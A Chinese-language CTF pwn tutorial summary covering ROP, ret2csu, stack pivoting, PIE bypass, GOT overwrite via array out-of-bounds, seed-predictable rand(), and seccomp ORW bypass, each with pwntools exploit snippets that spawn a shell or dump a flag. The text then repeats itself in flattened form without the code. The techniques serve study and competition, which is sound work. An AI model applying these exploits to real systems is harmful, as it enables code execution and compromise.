CTF-pwn 技术总结(1)
字数 1230 2025-08-07 08:22:02

CTF-pwn 技术总结(1)教学文档

初级ROP技术

基本概念

ROP(Return-Oriented Programming)是一种漏洞利用技术,允许攻击者在程序启用了安全保护技术(如NX保护)的情况下控制程序执行流。

使用方法

  1. 利用栈溢出控制函数返回地址
  2. 使用ROPgadget工具寻找程序/libc中带有ret的指令
  3. 构造指令序列控制程序执行

例题分析:checkin

漏洞点

  • 存在栈溢出漏洞,偏移为0x10
  • 存在后门函数

利用步骤

  1. 构造ROP链:pop rdi; ret; binsh_addr; system_addr
  2. 通过栈溢出覆盖返回地址

EXP示例

from pwn import *
context.log_level = 'debug'
p = process("./checkin")
e = ELF("./checkin")
puts_got = e.got["puts"]
pop_rdi = 0x400953
sys_addr = 0x4007c6b
binsh_addr = 0x601060
off = 0x10 + 8

payload = "a"*off + p64(pop_rdi)+ p64(binsh_addr) +p64(sys_addr)
payload = payload.ljust(100, "a")
p.send(payload)
p.interactive()

通用ROP技术(ret2csu)

原理

利用64位ELF程序中的_libc_csu_init函数控制多个寄存器值。

关键代码段

loc_400600:
mov rdx, r13  ; 第二次返回地址
mov rsi, r14
mov edi, r15d
call qword ptr [r12+rbx*8]

loc_400616:
pop rbx
pop rbp
pop r12
pop r13
pop r14
pop r15
retn

利用要点

  • 设置rbx=0,rbp=1
  • 可以控制rdx、rsi、edi寄存器
  • 可以调用[r12]处的函数

例题分析:pwn_100

利用步骤

  1. 泄露libc地址
  2. 使用read函数写入bss段
  3. 执行execve

EXP关键部分

# 泄露puts地址
payload1 = off * 'a' + p64(cus_addr_end) + p64(0) + p64(1) + p64(puts_got_addr) + p64(0) + p64(0) + p64(puts_got_addr) + p64(cus_addr_front) + 56 * 'a' + p64(main_addr)

# 执行execve
payload3 = off * 'a' + p64(cus_addr_end) + p64(0) + p64(1) + p64(bss_base_16) + p64(0) + p64(0) + p64(bss_base_16 + 8) + p64(cus_addr_front) + 56 * 'a' + p64(main_addr)

栈迁移技术

原理

当溢出字节不足时,将栈迁移到攻击者可控制的地址。

关键指令

  • leave = mov esp, rbp; pop rbp
  • ret = pop rip

例题分析:CET6

利用步骤

  1. 覆盖rbp为fake_stack地址
  2. 返回read函数再次写入
  3. 构造ROP链泄露地址
  4. 最终getshell

EXP关键部分

fake_stack = 0x404F00
read_addr = 0x4011ae

# 第一次迁移
payload = 'a' * 0x40 + p64(fake_stack) + p64(read_addr)

# 第二次构造ROP链
payload = 'a' * 8 + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(read_addr)

PIE绕过技术

PIE保护机制

随机化ELF装载内存的基址(代码段、plt、got、data等)。

绕过方法

  • PIE不随机化地址的低12位
  • 泄露一个地址计算基址

例题分析:checkin_revenge

利用步骤

  1. 覆盖返回地址最后一个字节
  2. 泄露main函数地址计算基址
  3. 构造ROP链

EXP关键部分

# 覆盖返回地址最后一个字节
payload = "a" * off + "\x7f"

# 计算基址
main_addr = u64(p.recvuntil('\x55')[-6:].ljust(8,'\x00'))
code_base = main_addr & 0xfffffffffffff000

数组越界漏洞

漏洞原理

数组下标取值超过定义范围,可修改任意地址数据。

RELRO保护

  • Partial RELRO:可修改GOT表
  • Full RELRO:无法修改GOT表

例题分析:arry

利用步骤

  1. 计算got表项与数组的偏移
  2. 泄露地址计算基址
  3. 修改printf的got表项

EXP关键部分

printf_offset = -128 
stack_chk_fail_offset = -152

# 泄露stack_chk_fail地址
p.sendlineafter("index:",str(stack_chk_fail_offset))
stack_chk_fail = u64(p.recv(6).ljust(8,"\x00"))
base = stack_chk_fail & 0xfffffffff000

# 修改printf的got表项
p.sendlineafter("index:",str(printf_offset))
p.sendlineafter("change:",p64(0xA93 + base))

伪随机数漏洞

原理

rand()函数产生伪随机数,种子相同则序列相同。

例题分析:guess

非预期解

elf.srand(0)
for i in range(4):
    payload = str(elf.rand())

正常解

key = "7F454C46"  # ELF文件头
for i in range(0,8,2):
    elf.srand(int(key[i:i+2],16))
    payload = str(elf.rand())

Sandbox绕过(ORW技术)

原理

当execve被禁用时,使用open/read/write组合读取flag。

例题分析1:shellcode

EXP

shellcode = shellcraft.open('flag.txt')
shellcode += shellcraft.read('rax','rsp',100)
shellcode += shellcraft.write(1,'rsp',100)
shellcode = asm(shellcode)

例题分析2:CET4

方法一:ROP链

# open flag
payload = 'a' * 0x48 + p64(pop_rdi) + p64(bss) + p64(pop_rsi) + p64(0) + p64(pop_rdx_r12) + p64(0) + p64(0) + p64(open)

# read flag
payload += p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(bss) + p64(pop_rdx_r12) + p64(100) + p64(0) + p64(read)

# write flag
payload += p64(pop_rdi) + p64(1) + p64(pop_rsi) + p64(bss) + p64(pop_rdx_r12) + p64(100) + p64(0) + p64(write)

方法二:mprotect+shellcode

# 修改bss段为可执行
protect=libc_base+libc.sym['mprotect']
payload=p64(rdi)+p64(0x404000)+p64(rsi)+p64(0x1000)+p64(rdx_r12)+p64(7)+p64(0)+p64(protect)

# 写入并执行shellcode
code = shellcraft.open("./flag")
code += shellcraft.read(3, 0x404900, 0x50)
code += shellcraft.write(1, 0x404900, 0x50)
shellcode = asm(code)

关键工具和技术

  1. ROPgadget:查找可用指令片段
  2. pwntools:开发exploit
  3. gdb:调试程序
  4. checksec:检查程序保护机制
  5. 各种保护机制的绕过技术(NX、PIE、RELRO等)
CTF-pwn 技术总结(1)教学文档 初级ROP技术 基本概念 ROP(Return-Oriented Programming)是一种漏洞利用技术,允许攻击者在程序启用了安全保护技术(如NX保护)的情况下控制程序执行流。 使用方法 利用栈溢出控制函数返回地址 使用ROPgadget工具寻找程序/libc中带有ret的指令 构造指令序列控制程序执行 例题分析:checkin 漏洞点 : 存在栈溢出漏洞,偏移为0x10 存在后门函数 利用步骤 : 构造ROP链: pop rdi; ret; binsh_addr; system_addr 通过栈溢出覆盖返回地址 EXP示例 : 通用ROP技术(ret2csu) 原理 利用64位ELF程序中的 _libc_csu_init 函数控制多个寄存器值。 关键代码段 利用要点 设置rbx=0,rbp=1 可以控制rdx、rsi、edi寄存器 可以调用[ r12 ]处的函数 例题分析:pwn_ 100 利用步骤 : 泄露libc地址 使用read函数写入bss段 执行execve EXP关键部分 : 栈迁移技术 原理 当溢出字节不足时,将栈迁移到攻击者可控制的地址。 关键指令 leave = mov esp, rbp; pop rbp ret = pop rip 例题分析:CET6 利用步骤 : 覆盖rbp为fake_ stack地址 返回read函数再次写入 构造ROP链泄露地址 最终getshell EXP关键部分 : PIE绕过技术 PIE保护机制 随机化ELF装载内存的基址(代码段、plt、got、data等)。 绕过方法 PIE不随机化地址的低12位 泄露一个地址计算基址 例题分析:checkin_ revenge 利用步骤 : 覆盖返回地址最后一个字节 泄露main函数地址计算基址 构造ROP链 EXP关键部分 : 数组越界漏洞 漏洞原理 数组下标取值超过定义范围,可修改任意地址数据。 RELRO保护 Partial RELRO:可修改GOT表 Full RELRO:无法修改GOT表 例题分析:arry 利用步骤 : 计算got表项与数组的偏移 泄露地址计算基址 修改printf的got表项 EXP关键部分 : 伪随机数漏洞 原理 rand()函数产生伪随机数,种子相同则序列相同。 例题分析:guess 非预期解 : 正常解 : Sandbox绕过(ORW技术) 原理 当execve被禁用时,使用open/read/write组合读取flag。 例题分析1:shellcode EXP : 例题分析2:CET4 方法一:ROP链 方法二:mprotect+shellcode 关键工具和技术 ROPgadget:查找可用指令片段 pwntools:开发exploit gdb:调试程序 checksec:检查程序保护机制 各种保护机制的绕过技术(NX、PIE、RELRO等)